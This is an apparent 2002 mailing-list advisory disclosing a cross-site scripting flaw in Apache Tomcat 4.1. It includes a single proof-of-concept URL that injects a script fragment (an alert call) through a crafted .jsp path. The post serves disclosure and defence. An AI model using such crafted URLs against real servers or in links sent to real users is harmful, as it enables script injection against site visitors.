Apache Tomcat 4.1 Cross-Site Scripting Vulnerability

From: skinnayat_private
Date: Wed Aug 21 2002 - 14:31:08 PDT

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    Title: Apache Tomcat 4.1 Cross-Site Scripting Vulnerability
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                     Author: Skinnay of Malloc()
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    Apache Tomcat is a Webserver/servlet engine available for multiple *nix
    platforms and Windows platforms.
    
    
    There exist a cross-site scripting vulnerability in Apache Tomcat
    that may allow people to craft links to vulnerable webservers
    and execute malicious instructions.
    
    
    Exploitation:
    
    Tested on Tomcat 4.1 / Linux
    
    http://example.com:8080/666%0a%0a>alert("asdf");</script>666.jsp
    
    
    
    Found by Skinnay of Malloc().. word.. :P
    



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